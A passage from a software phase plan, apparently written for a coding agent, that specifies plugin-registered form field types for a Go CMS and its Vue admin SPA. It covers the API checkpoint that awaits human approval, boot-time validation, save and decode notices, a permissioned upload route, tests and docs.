// RecordMeta (relation_field.go) gains: Notices []FieldNotice `json:"notices,omitempty"`
```
Save responses: `POST /{vendor}/{plugin}/{controller}` and `PUT .../{id}` keep `{"data":...,"meta":{"labels":...}}`; when a Decode returned notices, `meta` also carries `"notices":[{"field":"content","locale":"pl","message":"2 elements were removed: style, iframe"}]`. Without notices the JSON is byte-for-byte today's.
Routes (relative to `<prefix>/api/v1`):
- `GET /field-types` → `{"data":[{"name","element","translatable","scripts":["<prefix>/assets/vendor/plugin/...js?v=<12 hex>"],"styles":[...]}]}`, sorted by name.
- `POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (multipart, one `file` part; `{id}` 0 = create form) → 201 `{"data":{"url":"..."}}`; 422 `validation_failed` on the field for a FormFieldError; 404 for an unknown field, a field without a plugin type or without Upload, or a record outside the FormExtendQuery scope; 413 over the cap.
Element contract (D-13; extends the Phase 10.1 widget contract, documented in docs/backend/field-types.md). Fixed for this phase: D-13 leaves the contract to the planner and this block finalizes it. Plan 02 implements these exact names in parallel (wave 1), so Task 1 does not reopen them; Task 1 may rename only pact and cabana Go identifiers and the GET /field-types answer, which plan 02 never references.
- The SPA creates the element imperatively and sets the `value` property (string for a translatable type, any JSON otherwise) and the attributes `field-name`, `record-id` ('' on create), `locale` (content locale for a translatable type, '' otherwise), `ui-locale` (admin UI language), `options` (JSON of typeOptions), `disabled` (present when read-only), `invalid` (present when the field has an error).
- The element dispatches bubbling CustomEvents: `summer-change` with `detail.value` only on user edits; `summer-upload` with `detail {id, file}`. The SPA answers an upload with `summer-upload-result` `detail {id, url}` or `{id, error}` dispatched on the element.
- Setting `value` to the value the element last emitted must not reset the element; the SPA sets `value` only when the form value differs from the element's current `value`.
- The element never receives a token, a cookie, a function or a Vue instance, and styles only through the public `--c-*` CSS variables, with selectors scoped under its tag.
Existing code the executor builds on (read, do not re-derive):
- `modules/cabana/form_schema.go`: `formFieldTypes` (lines 24-30), `formFieldKeys` (37-47), `decodeFields(raw []byte)` (399), `fieldMap.UnmarshalYAML` (411), `compileFieldNode(name, node)` (455; key check at 466 runs before type resolution at 474).
- `modules/cabana/registry.go`: `compileRegistry(items []controllerRef)` (57), callers of `compileList` and `compileFormIfPresent`.
- `modules/cabana/http.go`: `Activate` (74-184), `mount` (220-361; fileupload routes 335-347, `requireAjax`, `constrainFile`), `protect` (1030), `projectRow` (1067).
- `modules/cabana/crud.go`: `save` (567-715: ML lift 600, loadRecord 616, projectOperation/Fill 622, applyMLTranslations 688, hydrateMLRecord 709), `ShowRecord` (418, hydrate at 444), `lifecycleFailure` (815), `scalarFormField` (1224) used at 204 and 1073.
- `modules/cabana/field_ml.go`: `mlFieldType`, `liftMLValues`, `applyMLTranslations`, `hydrateMLRecord`, `TranslationWriter`.
- `modules/cabana/extension.go`: `widgetTagPrefix`, `checkWidgetTag`, `compileClientAssets` (253-300, the `read` closure to extract), `checkAssetPath`, `bootErr`, `pluginAsset`.
- `modules/cabana/tx_context.go`: `withVirtualFields`/`VirtualFieldsFromContext` (36-60), the pattern for the writes accessor.
- `modules/cabana/relation_field.go`: `RecordMeta` (91), `RecordEnvelope`, `RecordResult`; `modules/cabana/crud.go`: `localizeForbidden` (the pattern for `localizeNotices`: request locale via `schemaLocale`, `translateKey`), `CRUDService.tr`; `modules/phrasebook/translator.go`: `Get(ctx, key, params)` and `Choice(ctx, key, count, params)`.
- `admin/src/views/FormView.vue`: `adopt` (173, reloads the saved record into the form), `save` (315), the saved toast (337); `admin/src/components/form/FormGrid.vue` (47, `:errors` per field) and `FormField.vue` (the `errors` prop and error line): the path notices follow.
- `admin/src/components/form/fields/WidgetField.vue`: element creation, `defined()` with `WIDGET_TIMEOUT`, `api.POST` with `params.path` from the control props, ExtensionFailure.
- `admin/src/app/pluginAssets.ts`: `assetAllowed`, `loadScript`, `loadStyles`, `activateStyles` (disables links whose owner is not active: Pitfall 8).
</interfaces>
</context>
<tasks>
<task type="checkpoint:decision" gate="blocking-human">
<name>Task 1: Confirm the published pact field-type API before it is written (D-12)</name>
<read_first>modules/pact/capabilities.go (AdminAction, AdminActionInput, HasAdminActions, AdminClientAssets: the style to copy), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md (D-11 to D-15, Claude's Discretion), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Patterns 1, 2, 5, 9; Code Example 1), this plan's interfaces block</read_first>
<action>Do the automatable part, then stop. Run the verify command (baseline: the contract and schema tests this plan must keep green pass before any change) and confirm `git status --porcelain -- modules admin docs scripts` prints nothing; if it prints anything, report the in-flight files (concurrent session, 16.1 D-02) and stop without editing.
Then print the proposal sheet: the pact types and func signatures exactly as in the interfaces block, including Decode's FormFieldDecoded answer and FormFieldNotice (the D-10 amendment: a type reports what it changed instead of refusing); which funcs are optional (CheckOptions, Load, ListValue, Upload) and which is required (Decode); the cabana additions (FieldWrite, FieldWritesFromContext, WithFieldWrites, CompileFormWithTypes, FieldNotice, RecordMeta.Notices as meta.notices omitted when empty, the FormField keys element, translatable and typeOptions); the two routes and their answers; the element contract (value property, attributes, summer-change, summer-upload, summer-upload-result), labelled "fixed: shared with plan 02, not open at this checkpoint"; the alias rule (^[a-z][a-z0-9]*$, no core type, no duplicate) and the option-key rule (^[A-Za-z][A-Za-z0-9]*$, no core field key); and the assumptions section of this plan (A5 refusal in settings and relation forms, field-types route, string values for translatable types). Stop for the human.</action>
<decision>Adopt this pact and cabana field-type API as proposed, or adjust named Go identifiers before they are written?</decision>
<context>D-12 rates the pact interface one-way: once summercms is tagged (plan 05: v0.1.18, or the next free v0.1.x; v0.1.17 is already the 16.1 security release) other repositories compile against these names, and the todo cabana-plugin-registered-field-types expects payment and other plugins to build on it. Before the tag, a rename costs one search-and-replace in this phase; after it, every consuming plugin changes. Journal's Go integration (plan 03) is the first consumer and is written against these exact names. Scope of this checkpoint: pact and cabana Go identifiers and the GET /field-types answer only. The element contract (tag prefix rule, value property, the attributes, summer-change, summer-upload, summer-upload-result) is fixed by this plan per D-13 and is being implemented by plan 02 in parallel, so it is not adjustable here; a human who wants it changed replies "stop" here and at plan 02's package checkpoint, and plans 01 and 02 are re-planned together.</context>
<options>
<option id="approve">
<name>Approve as proposed</name>
<pros>Matches the research recommendation (struct of funcs, like pact.AdminAction); plans 02 and 03 are written against these names</pros>
<cons>Field names become a published contract at the plan 05 tag</cons>
</option>
<option id="adjust">
<name>Approve with named changes</name>
<pros>The human renames or reshapes pact and cabana Go identifiers before code exists</pros>
<cons>The executor must apply the same renames to plans 03, 05 and 06 text it reads later (record them in the SUMMARY); plan 02 references no Go identifier, so it is unaffected</cons>
</option>
</options>
<resume-signal>Reply "approve", "adjust:" followed by the Go identifier changes, or "stop" to change the element contract (re-plans 01 and 02 together).</resume-signal>
<verify>
<automated>go vet ./modules/pact ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestFormSchemaCompile|TestFormSchemaRejects)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
<fails_when>Non-zero exit: vet reports a problem, or fewer than four "--- PASS: Test" lines (a baseline contract or schema test already fails before this plan changes anything).</fails_when>
</verify>
<acceptance_criteria>
- The baseline verify passed and `git status --porcelain -- modules admin docs scripts` printed nothing.
- The SUMMARY records the human's reply verbatim and, for "adjust", the final identifier list that Tasks 2 to 4 use; the element contract names in that list are exactly the ones in the interfaces block.
</acceptance_criteria>
<done>A human approved the API or named Go identifier changes, with the element contract unchanged; nothing has been edited yet.</done>
</task>
<task type="tracer">
<name>Task 2: Tracer: one non-translatable plugin field type end to end (pact, boot, schema, save Decode, Show Load, field-types route, SPA PluginField)</name>
<reversibility rating="one-way">Published pact API: after the plan 05 tag, other plugins' go.mod require these names; renaming means editing every consumer (D-12).</reversibility>
<precondition>Task 1 was answered "approve" or "adjust" and the SUMMARY lists the identifiers to use.</precondition>
<files>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/field_type.go, modules/cabana/form_schema.go, modules/cabana/schema_types.go, modules/cabana/registry.go, modules/cabana/http.go, modules/cabana/crud.go, modules/cabana/relation_field.go, modules/cabana/extension.go, modules/cabana/settings.go, modules/cabana/relation_form.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/field_type_smoke_test.go, modules/cabana/README.md, admin/openapi/admin.json, admin/src/api/schema.d.ts, admin/src/api/types.ts, admin/src/app/fieldTypes.ts, admin/src/app/pluginAssets.ts, admin/src/main.ts, admin/src/views/LoginView.vue, admin/src/components/form/registry.ts, admin/src/components/form/FieldRenderer.vue, admin/src/components/form/PreviewField.vue, admin/src/components/form/FormField.vue, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/fields/PluginField.vue, admin/tests/form/PluginField.test.ts, modules/boardwalk/dist, docs/backend/field-types.md, docs/backend/forms.md</files>
<read_first>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/form_schema.go, modules/cabana/schema_types.go (FormField, ListColumn), modules/cabana/registry.go, modules/cabana/http.go (Activate, mount, protect, navigation handler), modules/cabana/crud.go (save, ShowRecord, lifecycleFailure, localizeForbidden, scalarFormField and its callers), modules/cabana/relation_field.go (RecordMeta, RecordResult), modules/phrasebook/translator.go (Get, Choice), modules/phrasebook/backend/lang/pl/lang.yaml (lines 40-44: plural map format), modules/cabana/extension.go, modules/cabana/settings.go (decodeFields caller at 74), modules/cabana/relation_form.go (decodeFields callers at 145 and 246), modules/cabana/admin_openapi.go (the /navigation and FormField annotations), modules/cabana/security_coverage_test.go (phase09Routes), modules/cabana/query_relation_test.go (openDryRunDB, newDryRunListService: test style), modules/cabana/README.md (Admin API routes table, API reference), scripts/check-admin-openapi.sh, scripts/check-admin-dist.sh, admin/src/app/pluginAssets.ts, admin/src/main.ts, admin/src/views/LoginView.vue, admin/src/state/useNavigation.ts, admin/src/components/form/registry.ts, admin/src/components/form/control.ts, admin/src/components/form/FieldRenderer.vue, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/fields/WidgetField.vue, admin/tests/form/WidgetField.test.ts, docs/backend/partials-and-widgets.md (Form widgets, Widget element contract), docs/backend/forms.md, docs/site.yaml</read_first>
<action>Build the thinnest complete path for a plain plugin type (per D-11, D-12, D-13, D-15), using the identifiers recorded by Task 1.
pact (D-12, D-10): add FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError (Error joins Messages with "; ") and HasFormFieldTypes to modules/pact/capabilities.go with doc comments in the AdminAction style: cabana owns routes, CSRF, authentication, permissions, record scope, locale storage, notice localization and the untouched-value skip; Decode returns FormFieldDecoded (the value to store plus optional notices; a notice reports a change the type made to an accepted value, a FormFieldError refuses a value the type cannot accept), Load returns what the element receives, ListValue returns list text, Upload stores a file and returns its URL. The HasFormFieldTypes doc comment says it is implemented by the plugin (not a controller), like HasAdminControllers.
Registry (D-11, RESEARCH Pattern 1): new modules/cabana/field_type.go with compileFieldTypes(plugins []party.Plugin) (*fieldTypeRegistry, error), called in Activate before compileRegistry and passed down as a parameter; no package-level registry. Rules, each a boot error of the form "cabana: plugin <id> field type <name>: <reason>": the alias matches ^[a-z][a-z0-9]*$; it is not a key of formFieldTypes; it is not claimed by another plugin (the message names both plugin IDs); Element passes checkWidgetTag with widgetTagPrefix(pluginID); Decode is non-nil; each Options key matches ^[A-Za-z][A-Za-z0-9]*$, is not a key of formFieldKeys and is not repeated; a plugin declaring Scripts or Styles implements pact.AdminAssets. Extract the read-and-hash closure of compileClientAssets into readClientAssets(pluginID, owner string, fsys fs.FS, files []string, exts ...string) ([]*pluginAsset, error) and use it for both controller assets and field-type Scripts (.js, .mjs) and Styles (.css); field-type assets join Registry.assets so the existing GET {prefix}/assets/{vendor}/{plugin}/{file...} route serves them with ETag and ?v=.
Compile (D-12.1): compileRegistry and compileList/compileFormIfPresent take the registry; decodeFields(raw, types) passes it through fieldMap to compileFieldNode, which now reads the type first: for a plugin alias the accepted keys are label, comment, span, type, required, tab, context, attributes, size, default plus the type's Options; any other key is "unknown field <key>"; option values decode from the YAML nodes into JSON-compatible values (string, bool, int or float64, []any, map[string]any) in FormField.TypeOptions; CheckOptions (when non-nil) errors fail boot naming field and type. Core types keep today's path byte for byte. FormField gains Element, Translatable, TypeOptions (JSON element, translatable, typeOptions, omitempty) and an unexported fieldType pointer (json "-"). CompileForm keeps its signature and core-only behaviour (a plugin alias stays "unsupported type"); add CompileFormWithTypes(pluginID, ctl, fsys, types) that runs the alias and option checks (element prefix and assets are checked by Activate). settings.go and relation_form.go use a refusing registry: a plugin alias there fails boot with "plugin field type <name> is supported in controller forms only" (assumption A5).
Save and show (D-12.2, D-12.3, D-10 mapping): the scalarFormField checks at crud.go BindWritableFields and mergedRules also accept a field with a plugin type, so it binds to its column and `required` works. New liftPluginValues(cc, body, op), called next to liftMLValues before the transaction, removes the values of non-translatable plugin fields present in the body whose context allows op and keeps them as raw JSON values (projection would drop nested ones). New decodePluginFields, called inside the transaction after projectOperation and before lagoon.Fill, runs Decode with FormFieldValue{DB: tx, Record: target, Field, Options, Default: true, Value}, sets projected[field] to the result's Value and keeps the result's Notices with the field name; a *pact.FormFieldError becomes &ValidationError{Details: {field: Messages}} (422 validation_failed) and discards every collected notice; any other error goes through lifecycleFailure (opaque 500, no plugin text). New hydratePluginFields runs after hydrateMLRecord in ShowRecord and at the end of save: data[field] = Load(...) with Value = the projected stored value; nil Load keeps the value; a Load error is an opaque 500. So the save response always carries the stored value, which the SPA adopts into the form (the reload D-10 asks for).
Notices (D-10, framework half): after the transaction commits, new localizeNotices(ctx, s.tr, collected) turns each notice into a FieldNotice{Field, Locale, Message} in the request locale, the way localizeForbidden localizes a refusal: Message is a phrase key or text, resolved with tr.Choice(ctx, key, Count, Params) when Count > 0 and tr.Get(ctx, key, Params) otherwise; a nil translator keeps the text. At most 10 notices per field and locale are kept and each localized message is cut to 500 runes with an ellipsis. RecordMeta (relation_field.go) gains Notices []FieldNotice with json "notices,omitempty", set on the RecordResult that create and update write; with no notice the encoded response is byte-for-byte today's.
Route (D-13): GET {api}/field-types behind the backend guard (handler fieldTypesList) answers the FieldTypesResponse shape in the interfaces block, [] when no plugin registers a type. Annotate it in admin_openapi.go (FieldTypeAssets, FieldTypesResponse), document the FormField keys and the optional RecordMeta notices (FieldNotice); add "GET /field-types" to phase09Routes; run bash scripts/check-admin-openapi.sh (writes admin/openapi/admin.json and admin/src/api/schema.d.ts) and add the FieldTypeAssets alias to admin/src/api/types.ts.
SPA (D-13, D-15): pluginAssets.ts gains GLOBAL_STYLE_OWNER = '*' and loadGlobalStyles(urls), whose links activateStyles never disables (Pitfall 8). New admin/src/app/fieldTypes.ts: loadFieldTypes() GETs /field-types, loads each script once through loadScript, adds styles through loadGlobalStyles and resolves to the list; it never rejects (a failed script surfaces later as that field's failure state). main.ts calls it with loadNavigation when signed in; LoginView calls it after login. formContext.ts adds FIELD_CHANGE_EVENT = 'summer-change'. New PluginField.vue modelled on WidgetField.vue (same header rule: never a token, cookie, function or Vue instance; imperative element in a mount point; status loading, ready or failed with WIDGET_TIMEOUT; ExtensionFailure): it sets the element's value property from modelValue only when it differs from element.value, sets the attributes of the element contract (field-name, record-id, locale empty for a plain type, ui-locale from FORM_LOCALE, options as JSON of typeOptions, disabled, invalid), and emits update:modelValue with detail.value on summer-change. registry.ts adds rendererForField(field) and isRegisteredField(field): a field with an element renders PluginField and counts as a value field; FieldRenderer, PreviewField and formState's editable check switch to them; FormField's group label treats a plugin field as a group. Rebuild dist with npm --prefix admin run build.
Smoke tests: modules/cabana/field_type_smoke_test.go TestFieldTypeTracerSmoke (no database): a fake plugin "acme.demo" whose AdminFS (fstest.MapFS) holds assets/js/notes.js registers type "notes" with element "acme-demo-notes", option key "rows", a Decode that refuses the string "bad" with a FormFieldError, trims surrounding spaces and reports that with the notice Message "acme.demo::lang.trimmed" (Count 1), and otherwise returns the value with no notice, and a Load that prefixes "served:"; subtests: alias collision with a second plugin and with "markdown" fail boot; an unknown key and a CheckOptions error fail boot; GET /field-types through httptest lists notes with a ?v= script URL; GET schema/form carries element and typeOptions; decodePluginFields on a stub record sets projected["notes"] and maps "bad" to a ValidationError on "notes"; a value " x " is stored as "x" and localizeNotices yields one FieldNotice for "notes" (a nil translator keeps the key text); the JSON encoding of a RecordMeta without notices has no "notices" key; hydratePluginFields serves the "served:" value. admin/tests/form/PluginField.test.ts: a stub custom element; mounting PluginField sets the value property and the attributes; a summer-change event emits update:modelValue; an echo of the same value does not set the property again; an undefined tag ends in the failure state.
Docs (CLAUDE.md documentation rules, neutral names only): pact README (Features and API reference rows for each new pact identifier, FormFieldDecoded and FormFieldNotice included); cabana README (the GET /field-types row in Admin API routes, CompileFormWithTypes, FieldNotice, the meta.notices key of the create and update responses and the FormField keys in API reference); new docs/backend/field-types.md (front matter title "Plugin field types", section backend, order 25) covering registration, aliases, options, Decode (value, notices, refusal) and Load and the element contract; a link from docs/backend/forms.md where the supported field types are listed. Commit as feat(pact), feat(cabana) and feat(admin) commits, each with its README, docs, OpenAPI or dist changes, staged by explicit path.</action>
<verify>
<automated>go vet ./modules/pact ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestFormSchemaCompile|TestFormSchemaRejects)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 5</automated>
<fails_when>Non-zero exit: vet fails, or fewer than five top-level "--- PASS: Test" lines (the tracer smoke is missing or failing, or the route inventory, permission matrix or schema tests regressed).</fails_when>
<automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test -- tests/form/PluginField.test.ts tests/form/WidgetField.test.ts tests/form/registry.test.ts tests/form/formState.test.ts &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree</automated>
<fails_when>Non-zero exit: vue-tsc reports a type error, a vitest file fails or is not found, check-admin-openapi prints "committed admin OpenAPI output is stale", check-admin-dist prints "modules/boardwalk/dist is stale", or TestDocsTree reports an identifier, link or anchor the docs name that does not exist.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "type HasFormFieldTypes interface" modules/pact/capabilities.go`, `grep -n "type FormFieldDecoded struct" modules/pact/capabilities.go` and `grep -n "func compileFieldTypes" modules/cabana/field_type.go` each print one line.
- `grep -n 'json:"notices,omitempty"' modules/cabana/relation_field.go` prints one line and `grep -n "func localizeNotices" modules/cabana/*.go` prints one line.
- `grep -n '"GET /field-types"' modules/cabana/security_coverage_test.go` prints one line and admin/openapi/admin.json contains the path "/field-types" and the property "notices".
- TestFieldTypeTracerSmoke passes with subtests for: collision between two plugins, collision with markdown, unknown key, CheckOptions error, the field-types route, schema keys element and typeOptions, Decode success, Decode notice to FieldNotice, no notices key without notices, FormFieldError mapping, Load on show.
- PluginField.test.ts passes, including the echo case (no second property write for an equal value).
- check-admin-openapi --check, check-admin-dist and TestDocsTree pass; docs/backend/field-types.md has front matter section backend.
- `grep -rniE 'journal|grzyby' modules/pact/README.md modules/cabana/README.md docs/backend/field-types.md` prints nothing (neutral names).
</acceptance_criteria>
<done>A fake plugin's non-translatable type compiles at boot, appears in the form schema and the field-types list, is decoded on save (its notices reach meta.notices, and a save without notices answers as before) and loaded on show, and the SPA renders its element with a two-way value binding.</done>
</task>
<task type="auto" tdd="true">
<name>Task 3: Expansion (Go): translatable types, untouched skip, written-values accessor, list values and the cabana upload route</name>
<files>modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/field_ml.go, modules/cabana/crud.go, modules/cabana/tx_context.go, modules/cabana/list_schema.go, modules/cabana/http.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/field_type_smoke_test.go, modules/cabana/README.md, admin/openapi/admin.json, admin/src/api/schema.d.ts, admin/src/api/types.ts, docs/backend/field-types.md</files>
<read_first>modules/cabana/field_type.go (Task 2 state), modules/cabana/field_ml.go, modules/cabana/crud.go (save, ShowRecord, BindWritableFields column binding helpers modelFields and gormColumn), modules/cabana/tx_context.go, modules/cabana/list_schema.go (listColumnTypes at 22, compileColumns at 200), modules/cabana/http.go (projectRow at 1067, the fileupload routes at 335-347, protect at 1030), modules/cabana/field_file.go (fileUpload and fileUploadOn at 684-760: MaxBytesReader, multipart, transaction, scope), modules/cabana/csrf.go (requireAjax), modules/cabana/locale_order_test.go (recordingWriter: fake TranslationWriter style), modules/cabana/admin_openapi.go (file upload annotations near line 1156), modules/cabana/README.md, docs/backend/field-types.md, docs/backend/admin-controllers.md (VirtualFieldsFromContext section: style for the writes accessor)</read_first>
<behavior>
- Translatable type: a body map {en, pl} with pl default runs Decode once per locale; pl lands on the host column, en goes through TranslationWriter.WriteTranslated; a FormFieldError on en is a 422 on the field and nothing is written.
- Notices per locale (D-10): a notice returned for en becomes a FieldNotice with field and locale "en", one for the default locale carries locale "pl"; a non-translatable type's notices carry no locale; a FormFieldError on any locale answers 422 with no notices.
- Untouched (D-03): on update, a submitted per-locale value equal to the served value (Load of the stored value) is neither decoded nor written and yields no notice; on create nothing is skipped.
- FieldWritesFromContext inside FormBeforeUpdate and FormAfterUpdate lists exactly the written (field, locale) values with Default set for the host value; it returns false outside a save.
- A list column typed "notes" shows ListValue(value); without ListValue the raw value is kept.
- Upload route: 201 {data:{url}} from Upload; 404 for a core-typed field or a type without Upload; 403 without the controller permission; missing X-Requested-With refused by requireAjax; over the cap 413; FormFieldError 422 on the field; id 0 passes Record nil.
</behavior>
<action>Extend Task 2's runner (per D-03, D-06, D-10, D-12.4, D-14, D-18).
Translatable types (D-14, D-06): add isMLField(field FormField) bool = mlFieldType(field.Type) or a plugin type with Translatable; switch the field loops in liftMLValues and hydrateMLRecord to it, so a translatable plugin field is lifted (locale to string map, default required, enabled locales only) and hydrated exactly like mlmarkdown. decodePluginFields then handles translatable fields per locale: the default-locale value is decoded into projected[field]; non-default values are decoded and replace the matching entries of the translations list that applyMLTranslations writes. Every locale's notices are kept with that locale (FieldNotice.Locale), the default locale included. A translatable Decode's FormFieldDecoded.Value must be a string; any other result type is an opaque 500. FormFieldValue.Translated is a closure over TranslationWriter.TranslatedExact(ctx, tx, record, attribute, locale) for the same record and locale (nil without a writer). hydratePluginFields applies Load per locale to the hydrated map.
Untouched skip (D-03 server half, RESEARCH Pattern 3): new servedFieldValue computes what Show serves for a field and locale on the loaded target (host value read through the same column binding BindWritableFields uses, pointers dereferenced; non-default from TranslatedExact, missing = ""), then Load. On update, decodePluginFields compares the submitted value with the served value by canonical encoding/json bytes and skips equal ones entirely (not in projected, not in translations). On create nothing is skipped.
Written values (Pitfall 7): tx_context.go gains FieldWrite, withFieldWrites (unexported), WithFieldWrites (exported, documented for Form hook tests) and FieldWritesFromContext (returns a copy; false outside a create or update), mirroring withVirtualFields/VirtualFieldsFromContext. save puts the writes on the context right after decodePluginFields, before formBeforeUpdate/formBeforeCreate, so Before and After hooks both see them.
List (D-12.4): compileColumns accepts a plugin alias as a column type (listColumnTypes stays the core set); ListColumn gets an unexported fieldType; projectRow returns ListValue(value) for such a column when ListValue is non-nil.
Upload route (D-18, RESEARCH Pattern 9): new modules/cabana/field_type_upload.go with fieldUpload mounted as g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload)) plus constrainFile-style Where constraints, next to the file routes (7 segments; distinct from .../files/{field}/reorder and .../relations/{name}/link by the literal segment). Inside s.protect: the field must exist in cc.Form with a plugin type whose Upload is non-nil, else 404 not_found; the field's context must allow create when id is 0 and update otherwise, else 404; the body is capped with http.MaxBytesReader(w, r.Body, s.uploadBytes); exactly one multipart part named file, else 422 invalid on the field; for id != 0 the record loads through loadRecord (FormExtendQuery scope) in a transaction, a miss is 404; Upload gets FormFieldUpload{DB, Record (nil for id 0), Field, Options, Filename, Body}; a FormFieldError is 422 validation_failed on the field; any other error an opaque 500; success 201 {"data":{"url":...}} (FieldUploadResponse). Annotate the route in admin_openapi.go, add "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload" to phase09Routes, run bash scripts/check-admin-openapi.sh and add the FieldUploadResponse alias to admin/src/api/types.ts.
Tests: TestFieldTypeExpansionSmoke in field_type_smoke_test.go (no database; a recording TranslationWriter in the locale_order_test.go style; a translatable fake type "notesml"; the upload route through httptest with id 0 and a principal context as the existing route tests build it) covering every behavior bullet above.
Docs: cabana README rows for FieldWrite, FieldWritesFromContext, WithFieldWrites and the upload route, and a note that settings and relation forms refuse plugin field types; docs/backend/field-types.md sections "Translatable types", "Untouched values", "Notices" (FormFieldDecoded notices, per-locale FieldNotice, localization, the 10-per-field and 500-rune caps, no key without notices), "Companion columns in Form hooks" (with FieldWritesFromContext) and "Uploads"; neutral names only. Commit as feat(cabana) with the README, docs and OpenAPI files, staged by explicit path.</action>
<verify>
<automated>go vet ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 6</automated>
<fails_when>Non-zero exit: vet fails, or fewer than six top-level "--- PASS: Test" lines (the expansion smoke fails or is missing, or an existing route, permission, relation-search or locale-order smoke regressed).</fails_when>
<automated>bash scripts/check-admin-openapi.sh --check &amp;&amp; npm --prefix admin run typecheck &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree</automated>
<fails_when>Non-zero exit: the committed OpenAPI or schema.d.ts is stale, the SPA no longer type-checks against the regenerated types, or TestDocsTree reports a missing identifier, link or anchor.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func FieldWritesFromContext" modules/cabana/tx_context.go` and `grep -n "func WithFieldWrites" modules/cabana/tx_context.go` each print one line.
- `grep -n 'fields/{field}/upload' modules/cabana/http.go modules/cabana/security_coverage_test.go modules/cabana/admin_openapi.go` prints at least one line per file.
- TestFieldTypeExpansionSmoke has passing subtests for: per-locale Decode with default on the host and non-default through the writer, per-locale notices with their locale, a non-default FormFieldError 422 with no write and no notices, untouched skip on update for host and translation (no notice), no skip on create, the writes accessor in Before and After hooks, ListValue in projectRow, and the upload route answers 201, 404 (core field), 403 (no permission), 413 (over the cap) and 422 (FormFieldError).
- The OpenAPI check, typecheck and TestDocsTree pass.
</acceptance_criteria>
<done>Translatable plugin types store through the existing ML path with per-locale notices, untouched values are never written, hooks can see what was written, list columns format through the type, and the upload route is mounted, documented and permissioned.</done>
</task>
<task type="auto" tdd="true">
<name>Task 4: Expansion (SPA): MLPluginField, element uploads through the SPA, plugin list columns, save notices, docs and dist</name>
<files>admin/src/components/form/fields/MLPluginField.vue, admin/src/components/form/fields/PluginField.vue, admin/src/components/form/registry.ts, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/FormGrid.vue, admin/src/components/form/FormField.vue, admin/src/views/FormView.vue, admin/src/views/ListView.vue, admin/src/components/relation/RelationChildModal.vue, admin/tests/form/PluginField.test.ts, admin/tests/form/FormField.test.ts, admin/tests/form/formState.test.ts, modules/boardwalk/dist, docs/backend/field-types.md</files>
<read_first>admin/src/components/form/fields/PluginField.vue (Task 2 state), admin/src/components/form/fields/MLField.vue, admin/src/components/form/fields/MLMarkdownField.vue, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts (isMLFieldType callers at 68, 139, 187, 228-233), admin/src/views/FormView.vue (isMLFieldType at 180 and 252, adopt at 173, save at 315, the saved toast at 337), admin/src/components/form/FormGrid.vue (errors per field at 47), admin/src/components/form/FormField.vue (errors prop, error line, aria-describedby), admin/src/main.css (.summer-callout--warning near line 400), admin/src/components/relation/RelationChildModal.vue (isMLFieldType at 221), admin/src/views/ListView.vue (column cell rendering), admin/src/api/files.ts (multipart upload with X-Requested-With and failure kinds), admin/src/api/client.ts, admin/tests/form/MLFields.test.ts, admin/tests/form/PluginField.test.ts, admin/tests/form/FormField.test.ts, docs/backend/field-types.md</read_first>
<behavior>
- A field with element and translatable renders MLPluginField: the locale switcher of MLField around PluginField; the element gets the active content locale in its locale attribute and that locale's string as value; summer-change updates only that locale in the map.
- isMLField(field) is true for mltext, mltextarea, mlmarkdown and for a field with element and translatable; formState initial values, editable payload, adopt and record display name treat such a field as a locale map.
- summer-upload {id, file} posts multipart to the field upload route with the form's vendor, plugin, controller, record id (0 on create) and field name, then dispatches summer-upload-result {id, url} on success and {id, error} with the server message on 422, 413 or a network failure.
- A list column whose type is not built in renders its value as plain text.
- Notices (D-10): a save answer with meta.notices shows each message under its field (prefixed with the upper-case locale for a translatable field) as a warning status line, and the saved toast appends the messages; the lines clear on the next save attempt; a save answer without notices shows none and the toast text is unchanged; a notice that looks like HTML renders as literal text.
- After a save whose stored value differs from what the element holds (a type stripped something), the form value equals the response's value and PluginField sets the element's value property once to it.
</behavior>
<action>Finish the SPA half (per D-06, D-10, D-13, D-14, D-18).
ML (D-14): new MLPluginField.vue in the MLMarkdownField.vue shape: MLField with :inner="PluginField", inner-type = field.type and ml-type = field.type; PluginField accepts an optional content-locale prop that MLField's inner rendering supplies and writes it to the locale attribute. mlLocale.ts gains isMLField(field) (keep isMLFieldType exported unchanged); switch the callers in formState.ts, FormView.vue and RelationChildModal.vue to the field-based check. rendererForField returns MLPluginField for a translatable plugin field; groupLabelled is true for it.
